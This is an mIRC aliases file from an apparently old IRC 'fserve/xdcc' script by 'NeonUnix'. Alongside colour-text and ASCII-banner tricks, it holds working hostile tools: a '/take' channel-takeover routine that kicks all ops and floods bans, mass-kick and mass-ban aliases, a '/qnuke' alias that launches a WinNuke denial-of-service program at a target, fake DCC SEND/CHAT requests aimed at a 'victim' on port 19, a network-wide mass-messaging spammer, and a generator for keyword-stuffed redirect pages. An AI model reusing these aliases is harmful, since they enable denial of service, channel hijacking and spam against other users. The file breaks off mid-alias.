/ScriptServ

[Aliases]
n0=/make {
n1=  if %pre !isnum 1-500 { halt }
n2=  set %pre 0
n3=  :start
n4=  inc %pre
n5=  /write -c search $++ %pre $++ .htm <html><head><title>Neonunix's Diemos mIRC fserve/xdcc'er Script</title><META HTTP-EQUIV="Refresh" CONTENT="1; URL=http://www.hermesnet.net/~neonunix/diemos.htm" ></head><body>mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc mirc fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve fserve xdcc xdcc xdcc xdcc xdcc xdcc xdcc xdcc xdcc xdcc xdcc xdcc xdcc xd
n6=  if %pre < $$1 { goto start }
n7=}
n8=/take {
n9=  /mode # +stnmilk $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) $+ $r(1,9) 1
n10=  /raw mode # +bbbbbb *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @*
n11=  /raw mode # +bbbbbb *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @*
n12=  /raw mode # +bbbbbb *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @* *! $+ $r(a,z) $+ $r(a,z) $+ $r(a,z) $+ @*
n13=  set %pre 0
n14=  :start
n15=  inc %pre
n16=  if $opnick(%pre,$chan) == $me { goto start }
n17=  kick $chan $opnick(%pre,$chan) Takeover
n18=  if %pre < $opnick(0,$chan) { goto start }
n19=  /mode # +b *!*@*
n20=}
n21=/kbytes /echo PoPups KB: $lof(popups.ini) Remotes KB: $lof(remote.ini) Aliases KB: $lof(aliases.ini)
n22=/local /enable #local | /who $active | /set %nohop 0 | /set %hop 0
n23=/allclone {
n24=  set %pre 0 
n25=  :start
n26=  inc %pre
n27=  set %addresses [ $+ [ %pre ] ]  ""
n28=  if %pre <= %stuff { goto start }
n29=  enable #allclone
n30=  set %clones 0 
n31=  set %stuff 1
n32=  set %clonestuff 1
n33=  set %clonenum 0
n34=  echo $active 12,1 Searching In Pattern 9,1 $$1
n35=  who $$1
n36=  write -c detect.txt 
n37=}
n38=/percent {
n39=  %percent = $$2 * $$1
n40=  %percent = %percent / 100
n41=  return %percent
n42=}
n43=/average {
n44=  set %pre 1
n45=  set %average 0
n46=  :start
n47=  inc %pre
n48=  inc %average $gettok(*1,%pre,32) 
n49=  if %pre < $gettok(*1,0,32) { goto start }
n50=  %average = %average / $gettok(*1,0,32)
n51=  return %average
n52=}
n53=/mutliadd {
n54=  set %mutliadd 0
n55=  set %pre 0
n56=  :start
n57=  inc %pre
n58=  inc %multiadd $gettok(*1,%pre,32)
n59=  if %pre < $gettok(*1,0,32) { goto start }
n60=  return %mutliadd
n61=}
n62=/kb ban # $$1 3 | /kick # $$1 *2 
n63=/f5 /enable #fk | /set %chan $active | /who %addy
n64=/fk if $me !isop $active { /echo 12,1 *** your not an op! | halt } | else { /enable #fk1 | /set %chan $active | /set %addy $$1 | /set %fk.reason *2 | /who $active }
n65=/detect /unset %clonenum %clonies %opers %addresses %ircops %clones %gone %voice %nicks | /enable #detect | /set %ircops 0 | /set %clones 0 | /echo $active 12,1 Searching In # | /who # | chanstats | write -c detect.txt 
n66=/chanstats {
n67=  %perc1 = [ [ [ $opnick(0,#) ] ] * [ [ $nick(0,#) ] ] ] 
n68=  %perc1 = %percent / 100
n69=  %perc2 =  [ [ [ $nopnick(0,#) ] ] * [ [ $nick(0,#) ] ] ] 
n70=  %perc2 = %percent / 100
n71=  /echo 12,1 -=)(=- 4,1 Ops: $opnick(0,#) ( $+ %perc1 $+ % $+ )12,1 -=)(=- 
n72=  /echo 12,1 -=)(=- 4,1 Non-Ops: $nopnick(0,#) ( $+ %perc2 $+ % $+ )12,1 -=)(=- 
n73=  /echo 12,1 -=)(=- 4,1 Total: $nick(0,#) 12,1 -=)(=- 
n74=}
n75=/fake //say hi every one $+ 0 bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb    $+ $$1 $timestamp *** *2 
n76=/setup {
n77=  /set %fs.max.dl $$?="Ratio is 1 to?" | write -c settings.ini %fs.max.dl
n78=  /set %fs.dir $$?="Directory of Files, E.g. C:\fserv\" | write settings.ini %fs.dir
n79=  /set %fs.type $$?="Accepted types? e.g. *.jpg, *.gif" | write settings.ini %fs.type
n80=  /set %fs.nametype $$?="Name Type? E.G. pics, warez, ect." | write settings.ini %fs.nametype
n81=  /set %fs.trigger $$?="Text to trigger Fserver" | write settings.ini %fs.trigger
n82=  /set %give.credits $$?="How Many Free Credits" | write settings.ini %give.credits
n83=}
n84=/f11  /echo 0) 0 white  |    /echo 1) 1 black |    /echo 2) 2 ugly blue |   /echo 3) 3 green |   /echo 4) 4 red |  /echo 5) 5 dark red |  /echo 6) 6 /me color |  /echo 7) 7 throw up color |   /echo 8) 8 neon yellow |  /echo 9) 9 neon green |  /echo 10) 10 tortoise green |  /echo 11) 11 neon seeweed green |  /echo 12) 12 royal blue |  /echo 13) 13 neon pink |   /echo 14) 14 dark gray |  /echo 15) 15 light gray
n85=/F12 //say 4 ; $+  $+ 12 $+ )
n86=/lamer /say $me has deamed  $+ $$1 $+  a 4,1 LAMER He has been ignored | /ignore $$1 4
n87=/connect /raw -q privmsg $me : $+ $chr(1) $+ DCC CHAT chat $longip($$1) $$2 $+ $chr(1) 
n88=/cban /set %rand $rand(1,15)  | %rand1 = %rand + 1 | /set %ban  $+ %rand $+ %rand1 , $+  $+ *1 $+   | /mode # +b %ban 
n89=/ctalk1 {
n90=  unset %pre %final
n91=  set %pre 0
n92=  set %string b *1
n93=  :start
n94=  inc %pre
n95=  set %rand $rand(1,15)
n96=  if %rand == 8 { 
n97=    if $r(1,2) == 1 { inc %rand } 
n98=    else { dec %rand } 
n99=  }
n100=  if $asc($mid(%pre,1,%string)) == 32 { inc %pre | set %final %final  $+ %rand $+ $mid(%pre,1,%string) } 
n101=  else  { set %final %final $+  $+ %rand $+ $mid(%pre,1,%string) }
n102=  if %pre < $len(%string) { goto start }
n103=  say %final
n104=}
n105=/captalk {
n106=  unset %pre %final
n107=  set %pre 0
n108=  set %string b *1
n109=  :start
n110=  inc %pre
n111=  set %rand $rand(1,2)
n112=  if %rand == 1 {
n113=    if $asc($mid(%pre,1,%string)) == 32 { inc %pre | set %final %final $upper($mid(%pre,1,%string)) | goto start } 
n114=    else  { set %final %final $+ $upper($mid(%pre,1,%string)) |   if %pre < $len(%string) { goto start } }
n115=  }
n116=  if $asc($mid(%pre,1,%string)) == 32 { inc %pre | set %final %final $mid(%pre,1,%string) | goto start } 
n117=  set %final %final $+ $mid(%pre,1,%string) | 
n118=  if %pre < $len(%string) { goto start }
n119=  say %final
n120=}
n121=/pattern {
n122=  if $$1 == 1 {
n123=    unset %pre %final
n124=    set %pre 0
n125=    set %string *3
n126=    set %i 0
n127=    :start1
n128=    inc %pre
n129=    if %i == 0 { set %rand  $+ $$2 | set %i 1 | goto begin } 
n130=    if %i == 1 { set %rand  $+ $$3 | set %i 0 }
n131=    :begin
n132=    if $asc($mid(%pre,1,%string)) == 32 { inc %pre | set %final %final %rand $+  $mid(%pre,1,%string) | goto start1 }
n133=    if $asc($mid(%pre,1,%string)) != 32  { set %final %final $+ %rand $+  $mid(%pre,1,%string) }
n134=    if %pre < $len(%string) { goto start1 }
n135=    say %final
n136=  }
n137=  if $$1 == 2 {
n138=    unset %pre %final
n139=    set %pre 0
n140=    set %string *3
n141=    set %i 0
n142=    :start3
n143=    inc %pre
n144=    if %i == 0 { set %rand  $+ $$2 | set %i 1 | goto begin } 
n145=    if %i == 1 { set %rand  $+ $$3 | set %i 0 }
n146=    :begin
n147=    if $asc($mid(%pre,1,%string)) == 32 { inc %pre | set %final %final %rand $+  $mid(%pre,1,%string) | goto start3 }
n148=    if $asc($mid(%pre,1,%string)) != 32  { set %final %final $+ %rand $+  $mid(%pre,1,%string) }
n149=    if %pre < $len(%string) { goto start3 }
n150=    say %final
n151=  }
n152=  if $$1 == 3 {
n153=    unset %pre %final
n154=    set %pre 0
n155=    set %string *6
n156=    set %i 0
n157=    :start3
n158=    inc %pre
n159=    if %i == 0 { set %rand  $+ $$2 | set %i 1 | goto begin } 
n160=    if %i == 1 { set %rand  $+ $$3 | set %i 2 | goto begin } 
n161=    if %i == 2 { set %rand  $+ $$4 | set %i 3 | goto begin } 
n162=    if %i == 3 { set %rand  $+ $$5 | set %i 4 | goto begin } 
n163=    if %i == 4 { set %rand  $+ $$6 | set %i 0 }
n164=    :begin
n165=    if $asc($mid(%pre,1,%string)) == 32 { inc %pre | set %final %final %rand $+  $mid(%pre,1,%string) | if %pre < $len(%string) { goto start3 } | else { goto gstart } }
n166=    if $asc($mid(%pre,1,%string)) != 32  { set %final %final $+ %rand $+  $mid(%pre,1,%string) }
n167=    :gstart
n168=    if %pre < $len(%string) { goto start3 }
n169=    say %final
n170=  }
n171=  if $$1 == 4 {
n172=    unset %pre %final
n173=    set %pre 0
n174=    set %string b *2
n175=    set %i 0
n176=    :start3
n177=    set %rander $r(2,15)
n178=    inc %pre
n179=    set %i $r(0,3)
n180=    if %i == 0 { set %rand  $+ %rander $+ , $+ $r(1,15)  | goto begin } 
n181=    if %i == 2 { set %rand  $+ %rander  | goto begin } 
n182=    if %i == 3 { set %rand  | goto begin } 
n183=    if %i == 1 { set %rand 0, $+ %rander }
n184=    :begin
n185=    if $asc($mid(%pre,1,%string)) == 32 { inc %pre | set %final %final %rand $mid(%pre,1,%string) |     if %pre < $len(%string) { goto start3 } }
n186=    if $asc($mid(%pre,1,%string)) != 32  { set %final %final $+ %rand $+ $mid(%pre,1,%string) }
n187=    if %pre < $len(%string) { goto start3 }
n188=    say %final
n189=  }
n190=  if $$1 == help {
n191=    /echo $active usage /pattern <type> <color numbers> <text>
n192=    /echo $active /pattern 1 <2 color numbers with or without background> blah
n193=    /echo $active /pattern 2 <2 color numbers with or without background and a letter or symbol after each color number> blah
n194=    /echo $active /pattern 3 <5 color numbers with or without background and makes a repeating pattern> blah
n195=    /echo $active some common patterns:
n196=    /echo $active /pattern 1 4,0 0,4 <text> Coca-Cola Pattern 
n197=    /echo $active /pattern 1 4,3 3,4 <text> Xmas Pattern
n198=    /echo $active /pattern 2 4- 3+ <text> + - pattern 
n199=    /echo $active /pattern 3 1,15 15,14 14,0 0,14 15,1 MonoChrome
n200=    /echo $active /pattern 3  1,14 2,15 12,1 14,2 15,12  something kewl
n201=    /echo $active /pattern 4 <Text> it makes <text> look like a ransom note!
n202=  }
n203=}
n204=/ctalk2 {
n205=  unset %pre %final
n206=  set %pre 0
n207=  set %string b *1
n208=  :start
n209=  inc %pre
n210=  set %rand $rand(1,15)
n211=  set %rand2 $rand(1,15)
n212=  if %rand == %rand2 { 
n213=    if $rand(1,2) == 1 { inc %rand } 
n214=    else { dec %rand } 
n215=  }
n216=  if $asc($mid(%pre,1,%string)) == 32 { inc %pre | set %final %final  $+ %rand $+ , $+ %rand2 $+ $mid(%pre,1,%string) } 
n217=  else  { set %final %final $+  $+ %rand $+ , $+ %rand2 $+ $mid(%pre,1,%string) }
n218=  if %pre < $len(%string) { goto start }
n219=  say %final 
n220=}
n221=/ctalk3 /say 0,1><>0,3><>0,5><> $+ $rand(6,15) $+ ,2 $+ *1 $+ 0,1<><0,3<><0,5<><
n222=/iban /set %ban 0 $+ *1 $+  | /mode # +b %ban
n223=/bannerwrite {
n224=  set %pre 0
n225=  set %string *1
n226=  :start
n227=  inc %pre
n228=  set %let $mid(%pre,1,%string)
n229=  say %let
n230=  if (%pre < $len(%string)) { goto start }
n231=}
n232=/p19send /set -q %victim $$1 | /set -q %filename $$2 | /set -q %bytecount $$3 | /raw -q privmsg %victim :
DCC SEND %filename  3453536785 19 %bytecount $+ 
 | /unset -q %victim | /unset -q %filename | /unset -q %bytecount | /echo 4 FAKE sending $$2 to $$1 which is $$3 bytes long
n233=/qnuke /run wnuke4.exe -n $$1 $$2 0 1024-4000 $$3
n234=/F1 p19chat %fs.nick
n235=/F2 /dcc chat %fs.nick | /set % [ $+ [ $nick ] ] [ $+ [ .credits ] ] 0
n236=/j /join #$$1
n237=/p /part #
n238=/n /names #$$1
n239=/w /whois $$1
n240=/k /inc %kicks  | /kick # $$1 *2 0,1 %kicks 
n241=/q /query $$1
n242=/hop /part # | /join #$$1
n243=/send /dcc send $1 $2
n244=/chat /dcc chat $1
n245=/op /mode # +ooo $$1 $2 $3
n246=/dop /mode # -ooo $$1 $2 $3
n247=/mop  {
n248=  set %pre 0
n249=  :start
n250=  inc %pre
n251=  /mode # +o $$ [ $+ [ %pre ] ]  
n252=  if $$ [ $+ [ %pre ] ] == $null {
n253=    halt 
n254=  }
n255=  goto start
n256=}
n257=/mdop /raw -q mode # -oooooo *1-6 | /raw -q mode # -oooooo *7-12
n258=/qmop /mode # +oooo *1-4 | /mode # +oooo *5-9
n259=/qmdop /mode # -oooo *1-4 | /mode # -oooo *5-9
n260=/mk {
n261=  set %pre 0
n262=  :start
n263=  inc %pre
n264=  /inc %kicks 
n265=  /kick # $$ [ $+ [ %pre ] ]  Mass-Kick 0,1 %kicks 
n266=  if $$ [ $+ [ %pre ] ] == $null {
n267=    halt 
n268=  }
n269=  goto start
n270=}
n271=/mb {
n272=  set %pre 0
n273=  :start
n274=  inc %pre
n275=  /ban # $$ [ $+ [ %pre ] ]  3
n276=  if $$ [ $+ [ %pre ] ] == $null {
n277=    halt 
n278=  }
n279=  goto start
n280=}
n281=/mkb {
n282=  /inc %kicks 
n283=  set %pre 0
n284=  :start
n285=  /inc %kicks 
n286=  inc %pre
n287=  /ban # $$ [ $+ [ %pre ] ]  3
n288=  /kick # $$ [ $+ [ %pre ] ]  Mass-Kick-Ban 0,1 %kicks 
n289=  if $$ [ $+ [ %pre ] ] == $null {
n290=    halt 
n291=  }
n292=  goto start
n293=}
n294=/mdkb {
n295=  /inc %kicks 
n296=  set %pre 0
n297=  :start
n298=  /inc %kicks 
n299=  inc %pre
n300=  /mode # -o $$ [ $+ [ %pre ] ]
n301=  /ban # $$ [ $+ [ %pre ] ]  3
n302=  /kick # $$ [ $+ [ %pre ] ]  Mass-Kick 0,1 %kicks 
n303=  if $$ [ $+ [ %pre ] ] == $null {
n304=    halt 
n305=  }
n306=  goto start
n307=}
n308=/loginw /msg w@channels2.undernet.org login # $$1 | /msg W op # $me
n309=/loginx /msg x@channels.undernet.org login # $$1 | /msg x op # $me
n310=/P19Chat /set -q %victim $$1  | /raw -q privmsg %victim :
DCC CHAT CHAT 3453536785 19 $+ 
 | /unset -q %victim
n311=/wallop /onotice 14 $+ (( 4 $+ # $+ 12 $opnick(0,#) $+ / $+ $nick(0,#) $+ 4 # $+  $+ 14 )) $+ 1 *1
n312=/Rkick /inc %kicks | /kick $chan $nopnick($r(1,$nopnick(0,#)),#) Random Kick  0,1 %kicks 
n313=/CPort /server 1 *1
n314=/bigwrite {
n315=  set %string *1
n316=  unset %top
n317=  unset %bot
n318=  set %pre 0
n319=  set %howmany $len(%string)
n320=  :start
n321=  inc %pre
n322=  if $asc($mid(%pre,1,%string)) isnum 97-122 || $asc($mid(%pre,1,%string)) isnum 48-57 {
n323=    if $mid(%pre,1,%string) == a {
n324=      /set %top %top   /\  
n325=      /set %bot %bot  /¯\ 
n326=    }
n327=    elseif $mid(%pre,1,%string) == b {
n328=      /set %top %top |¯¯} 
n329=      /set %bot %bot |__} 
n330=    }
n331=    elseif $mid(%pre,1,%string) == c {
n332=      /set %top %top |¯¯  
n333=      /set %bot %bot |__  
n334=    }
n335=    elseif $mid(%pre,1,%string) == d {
n336=      /set %top %top |¯¯\ 
n337=      /set %bot %bot |__/ 
n338=    }
n339=    elseif $mid(%pre,1,%string) == e {
n340=      /set %top %top |¯_¯¯ 
n341=      /set %bot %bot |____ 
n342=    }
n343=    elseif $mid(%pre,1,%string) == f {
n344=      /set %top %top |¯¯¯  
n345=      /set %bot %bot |¯      
n346=    }
n347=    elseif $mid(%pre,1,%string) == g {
n348=      /set %top %top |¯¯¯  
n349=      /set %bot %bot |__¯| 
n350=    }
n351=    elseif $mid(%pre,1,%string) == h {
n352=      /set %top %top |     |
n353=      /set %bot %bot |¯¯|
n354=    }
n355=    elseif $mid(%pre,1,%string) == i {
n356=      /set %top %top ¯¯|¯¯ 
n357=      /set %bot %bot __|__ 
n358=    }
n359=    elseif $mid(%pre,1,%string) == j {
n360=      /set %top %top  ¯¯|¯¯ 
n361=      /set %bot %bot \__|     
n362=    }
n363=    elseif $mid(%pre,1,%string) == k {
n364=      /set %top %top |/  
n365=      /set %bot %bot |\  
n366=    }
n367=    elseif $mid(%pre,1,%string) == l {
n368=      /set %top %top |       
n369=      /set %bot %bot |__  
n370=    }
n371=    elseif $mid(%pre,1,%string) == m {
n372=      /set %top %top |¯\/¯|
n373=      /set %bot %bot |       |
n374=    }
n375=    elseif $mid(%pre,1,%string) == n {
n376=      /set %top %top |\  |
n377=      /set %bot %bot |  \|
n378=    }
n379=    elseif $mid(%pre,1,%string) == o {
n380=      /set %top %top |¯¯|  
n381=      /set %bot %bot |__|  
n382=    }
n383=    elseif $mid(%pre,1,%string) == p {
n384=      /set %top %top |¯¯|  
n385=      /set %bot %bot |¯¯   
n386=    }
n387=    elseif $mid(%pre,1,%string) == q {
n388=      /set %top %top |¯¯|    
n389=      /set %bot %bot |__|_  
n390=    }
n391=    elseif $mid(%pre,1,%string) == r {
n392=      /set %top %top |¯¯|  
n393=      /set %bot %bot |¯¯\  
n394=    }
n395=    elseif $mid(%pre,1,%string) == s {
n396=      /set %top %top |¯¯  
n397=      /set %bot %bot __|  
n398=    }
n399=    elseif $mid(%pre,1,%string) == t {
n400=      /set %top %top ¯|¯ 
n401=      /set %bot %bot   |    
n402=    }
n403=    elseif $mid(%pre,1,%string) == u {
n404=      /set %top %top |     |   
n405=      /set %bot %bot |__|_ 
n406=    }
n407=    elseif $mid(%pre,1,%string) == v {
n408=      /set %top %top \  / 
n409=      /set %bot %bot  \/  
n410=    }
n411=    elseif $mid(%pre,1,%string) == w {
n412=      /set %top %top \  /\  / 
n413=      /set %bot %bot  \/  \/  
n414=    }
n415=    elseif $mid(%pre,1,%string) == y {
n416=      /set %top %top \_/ 
n417=      /set %bot %bot   |  
n418=    }
n419=    elseif $mid(%pre,1,%string) == x {
n420=      /set %top %top  \  /  
n421=      /set %bot %bot  /  \  
n422=    }
n423=    elseif $mid(%pre,1,%string) == z {
n424=      /set %top %top ¯¯/   
n425=      /set %bot %bot  /__   
n426=    }
n427=    elseif $mid(%pre,1,%string) == 0 {
n428=      /set %top %top |¯¯/|  
n429=      /set %bot %bot |/__|  
n430=    }
n431=    elseif $mid(%pre,1,%string) == 1 {
n432=      /set %top %top   /|     
n433=      /set %bot %bot  _|_  
n434=    }
n435=    elseif $mid(%pre,1,%string) == 2 {
n436=      /set %top %top  /¯/  
n437=      /set %bot %bot   /_  
n438=    }
n439=    elseif $mid(%pre,1,%string) == 3 {
n440=      /set %top %top ¯¯|  
n441=      /set %bot %bot _¯|  
n442=    }
n443=    elseif $mid(%pre,1,%string) == 4 {
n444=      /set %top %top |__|  
n445=      /set %bot %bot       |  
n446=    }
n447=    elseif $mid(%pre,1,%string) == 5 {
n448=      /set %top %top |¯¯   
n449=      /set %bot %bot  ¯_|  
n450=    }
n451=    elseif $mid(%pre,1,%string) == 6 {
n452=      /set %top %top |¯¯  
n453=      /set %bot %bot |¯_|  
n454=    }
n455=    elseif $mid(%pre,1,%string) == 7 {
n456=      /set %top %top ¯¯/   
n457=      /set %bot %bot   /     
n458=    }
n459=    elseif $mid(%pre,1,%string) == 8 {
n460=      /set %top %top |¯¯|  
n461=      /set %bot %bot |_¯|  
n462=    }
n463=    elseif $mid(%pre,1,%string) == 9 {
n464=      /set %top %top |¯¯|  
n465=      /set %bot %bot  ¯¯|  
n466=    }
n467=  }
n468=  else {
n469=    /set %top %top       
n470=    /set %bot %bot       
n471=  }
n472=  if %pre < %howmany {
n473=    goto start
n474=  }
n475=  /say %top
n476=  /say %bot
n477=}
n478=/netics {
n479=  /set %string *1
n480=  /set %string $replace(%string,al,aLe)
n481=  /set %string $replace(%string,ne,kNeE)
n482=  /set %string $replace(%string,tion,sHoN)
n483=  /set %string $replace(%string,pe,peh)
n484=  /set %string $replace(%string,lo,eL Oh)
n485=  /set %string $replace(%string,ng,nGuH)
n486=  /set %string $replace(%string,ay,AyE)
n487=  /set %string $replace(%string,wh,wUh)
n488=  /set %string $replace(%string,ea,eE)
n489=  /set %string $replace(%string,one,wUn)
n490=  /set %string $replace(%string,lah,laa)
n491=  /set %string $replace(%string,ien,EE en)
n492=  /set %string $replace(%string,oo,ewE)
n493=  /set %string $replace(%string,ce,sSs)
n494=  /set %string $replace(%string,co,kO)
n495=  /set %string $replace(%string,ph,FfF)
n496=  /set %string $replace(%string,ome,uEhM)
n497=  /set %string $replace(%string,ne,KnEe)
n498=  /set %string $replace(%string, y,j)
n499=  /set %string $replace(%string, i ,eYe)
n500=  /set %string $replace(%string,tar,TuhAR)
n501=  /say %string 
n502=}
n503=/make /write C:\mirc\prefab\ [ $+ [ $$1 ] ] *2
n504=/massm {
n505=  who %massmhost
n506=}
n507=/netwidemsg {
n508=  %timtmp.1 = 1
n509=  %nickztmp = 1
n510=  :start
n511=  if ( %nicks! [ $+ [ %nickztmp ] ] == $null ) {
n512=    %timtmp.2 = %timtmp.1 * 8
n513=    /.timer 1 %timtmp.2 /echo 4 $!active %hwecho MSG to ( $+ %massmhost $+ x $+ %totalnickz $+ )  complete.
n514=    goto end
n515=  }
n516=  %timtmp.2 = %timtmp.1 * 8
n517=  /.timer 1 %timtmp.2 /msg %nicks! [ $+ [ %nickztmp ] ] %msgbody
n518=  inc %nickztmp
n519=  inc %timtmp.1
n520=  goto start
n521=  :end
n522=}
n523=/hwm {
n524=  enable #massmsg
n525=  %massmhost = $1
n526=  %msgbody = *2
n527=  %tmplen = 475 - $len(%msgbody)
n528=  unset %nicks!*
n529=  %nicks!1 = webba,Toasty,
n530=  %inc.1 = 1
n531=  %totalnickz = 1
n532=  /echo 4 %_hw.echo Collecting nicks...
n533=  /echo 4 %_hw.echo This will lock your client for 30 seconds to 2 minutes, please wait...
n534=  massm
n535=}
n536=hwhelp {
n537=  echo 4 %_hw.echo /hwm [<wildcard /WHO pattern>] [<short message>]
n538=  echo 4 %_hw.echo /hwchiq - Chiq party channel builder
n539=  echo 4 %_hw.echo /hwtest - First time users message 'hi test
n540=  echo 4 %_hw.echo /hwpat - Examples of useful /WHO patterns
n541=}
n542=hwpat {
n543=  echo 4 %_hw.echo Pattern     0 = All -i users, on peak hours server may dump you
n544=  echo 4 %_hw.echo Pattern    r* = All -i users starting with 'r'
n545=  echo 4 %_hw.echo Pattern   *r* = All -i users having 'r' in their nick/info/etc
n546=  echo 4 %_hw.echo Pattern *.edu = All -i users with an .edu domain
n547=  echo 4 %_hw.echo Example /hwm r* hello there
n548=}
n549=hwtest {
n550=  %__hw.testltr = $rand(a,z) $+ *
n551=  echo 4 %_hw.echo Test mass message, using random pattern %__hw.testltr
n552=  echo 4 %_hw.echo Normal usage for this test run would be /hwm %__hw.testltr hi
n553=  hwm %__hw.testltr hi
n554=}
n555=hwchiq {
n556=  %__hw.chiqniq = $token($rand(1,8),32,%_hw.chiqs)
n557=  %__hw.chiqchan = $chr(35) $+ %__hw.chiqniq
n558=  %__hw.chiqltr = $rand(a,z) $+ *
n559=  echo 4 %_hw.echo Chiq party for %__hw.chiqniq in %__hw.chiqchan inviting %__hw.chiqltr
n560=  .raw NICK $__hw.chiqniq
n561=  .raw JOIN #$__hw.chiqniq
n562=  .raw MODE #$__hw.chiqniq :+nt
n563=  .raw TOPIC #$__hw.chiqniq :,,-[ $remove(%__hw.chiqniq,*) $+ 's pARty pLaCE ]-,,
n564=  hwm %__hw.chiqltr *smewch* cya in %__hw.chiqchan in 5, k baby (;
n565=}
n566=code {
n567=  %ec = $replace(*1,0,)
n568=  %ec = $replace(%ec,o,)
n569=  %ec = $replace(%ec,.,)
n570=  %ec = $replace(%ec,',)
n571=  %ec = $replace(%ec,$chr(44),)
n572=  %ec = $replace(%ec,-,)
n573=  %ec = $replace(%ec,$chr(32),)
n574=  %ec = $replace(%ec,a,)
n575=  %ec = $replace(%ec,w,)
n576=  %ec = $replace(%ec,b,)
n577=  %ec = $replace(%ec,x,)
n578=  %ec = $replace(%ec,c,)
n579=  %ec = $replace(%ec,y,)
n580=  %ec = $replace(%ec,d,)
n581=  %ec = $replace(%ec,z,)
n582=  %ec = $replace(%ec,e,)
n583=  %ec = $replace(%ec,f,)
n584=  %ec = $replace(%ec,g,)
n585=  %ec = $replace(%ec,h,)
n586=  %ec = $replace(%ec,i,)
n587=  %ec = $replace(%ec,j,)
n588=  %ec = $replace(%ec,?,)
n589=  %ec = $replace(%ec,k,)
n590=  %ec = $replace(%ec,!,)
n591=  %ec = $replace(%ec,l,)
n592=  %ec = $replace(%ec,9,)
n593=  %ec = $replace(%ec,m,)
n594=  %ec = $replace(%ec,8,)
n595=  %ec = $replace(%ec,n,)
n596=  %ec = $replace(%ec,7,)
n597=  %ec = $replace(%ec,p,)
n598=  %ec = $replace(%ec,6,)
n599=  %ec = $replace(%ec,q,)
n600=  %ec = $replace(%ec,5,)
n601=  %ec = $replace(%ec,r,)
n602=  %ec = $replace(%ec,4,)
n603=  %ec = $replace(%ec,s,)
n604=  %ec = $replace(%ec,3,)
n605=  %ec = $replace(%ec,t,)
n606=  %ec = $replace(%ec,2,)
n607=  %ec = $replace(%ec,u,)
n608=  %ec = $replace(%ec,1,)
n609=  say InvisaCode by 9,1 NeonUnix  $+  $+ $replace(%ec,v,)
n610=}
n611=privcode {
n612=  %ec = $replace(%string,0,)
n613=  %ec = $replace(%ec,o,)
n614=  %ec = $replace(%ec,.,)
n615=  %ec = $replace(%ec,',)
n616=  %ec = $replace(%ec,$chr(44),)
n617=  %ec = $replace(%ec,-,)
n618=  %ec = $replace(%ec,$chr(32),)
n619=  %ec = $replace(%ec,a,)
n620=  %ec = $replace(%ec,w,)
n621=  %ec = $replace(%ec,b,)
n622=  %ec = $replace(%ec,x,)
n623=  %ec = $replace(%ec,c,)
n624=  %ec = $replace(%ec,y,)
n625=  %ec = $replace(%ec,d,)
n626=  %ec = $replace(%ec,z,)
n627=  %ec = $replace(%ec,e,)
n628=  %ec = $replace(%ec,f,)
n629=  %ec = $replace(%ec,g,)
n630=  %ec = $replace(%ec,h,)
n631=  %ec = $replace(%ec,i,)
n632=  %ec = $replace(%ec,j,)
n633=  %ec = $replace(%ec,?,)
n634=  %ec = $replace(%ec,k,)
n635=  %ec = $replace(%ec,!,)
n636=  %ec = $replace(%ec,l,)
n637=  %ec = $replace(%ec,9,)
n638=  %ec = $replace(%ec,m,)
n639=  %ec = $replace(%ec,8,)
n640=  %ec = $replace(%ec,n,)
n641=  %ec = $replace(%ec,7,)
n642=  %ec = $replace(%ec,p,)
n643=  %ec = $replace(%ec,6,)
n644=  %ec = $replace(%ec,q,)
n645=  %ec = $replace(%ec,5,)
n646=  %ec = $replace(%ec,r,)
n647=  %ec = $replace(%ec,4,)
n648=  %ec = $replace(%ec,s,)
n649=  %ec = $replace(%ec,3,)
n650=  %ec = $replace(%ec,t,)
n651=  %ec = $replace(%ec,2,)
n652=  %ec = $replace(%ec,u,)
n653=  %ec = $replace(%ec,1,)
n654=  say InvisaCode by 9,1 NeonUnix  $+  $+ $replace(%ec,v,)
n655=}
n656=/xdcclist {
n657=  set %pre 0
n658=  write -c xdcclist.txt /msg $$1 2Total Packets: 15«·¤·» %packets 15«·¤·» 2 Total Downloaded since login:  15«·¤·» %xdcc.dl $+ b15«·¤·»
n659=  write xdcclist.txt /msg $$1 2 Use  3 / $+ %xdcc.msgctcp $me xdcc send #n 2 for packet n 
n660=  :start
n661=  inc %pre
n662=  set %sizee   %size [ $+ [ %pre ] ] 
n663=  set %gete %gets [ $+ [ %pre ] ] 
n664=  set %descriptione %description [ $+ [ %pre ] ]   
n665=  set %sizeetype b
n666=  if %sizee > 1024 { 
n667=    %sizee = %sizee / 1024 
